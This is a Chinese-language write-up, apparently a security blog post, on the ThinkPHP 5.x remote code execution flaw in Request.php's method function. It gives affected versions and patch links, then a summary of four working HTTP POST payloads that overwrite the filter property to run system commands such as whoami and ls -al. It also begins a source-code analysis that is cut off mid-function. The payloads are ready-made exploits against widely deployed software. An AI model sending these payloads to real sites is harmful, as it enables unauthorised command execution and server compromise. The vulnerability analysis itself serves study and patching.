近日ThinkPHP出现由于变量覆盖而引起的RCE,其漏洞根本源于thinkphp/library/think/Request.php
中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。
例如:
1、大部分payload进入最后rce的函数是调用了call_user_func,其可控的也只有一个参数,并且还不能为数组。
2、另外在php7中assert不能使用,或者命令函数被禁用。
接下来将为大家进行漏洞分析以及对各个版本、场景下的利用进行详细的总结。
漏洞范围: <= 5.0.23、<= 5.1.32
5.0.x补丁:
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
5.1.x补丁:
https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6
Payload总结
1、<= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
2、<= 5.0.23、5.1.0 <= 5.1.16
- 开启debug()
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
3、<= 5.0.23
需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他。
POST /?s=captcha HTTP/1.1
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get
4、5.0.0 <= version <= 5.1.32
- error_reporting(0)关闭报错
POST /
c=exec&f=calc.exe&_method=filter
5.0.0 <= ThinkPHP5 <= 5.1.17
在thinkphp/library/think/Request.php
中的$this->{$this->method}($_POST);
,其中$this->method
是可以通过post方式控制,其传入的参数是Config::get('var_method')
,默认值为_method
,这样将导致我们可以调用Request里面的方法。
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $t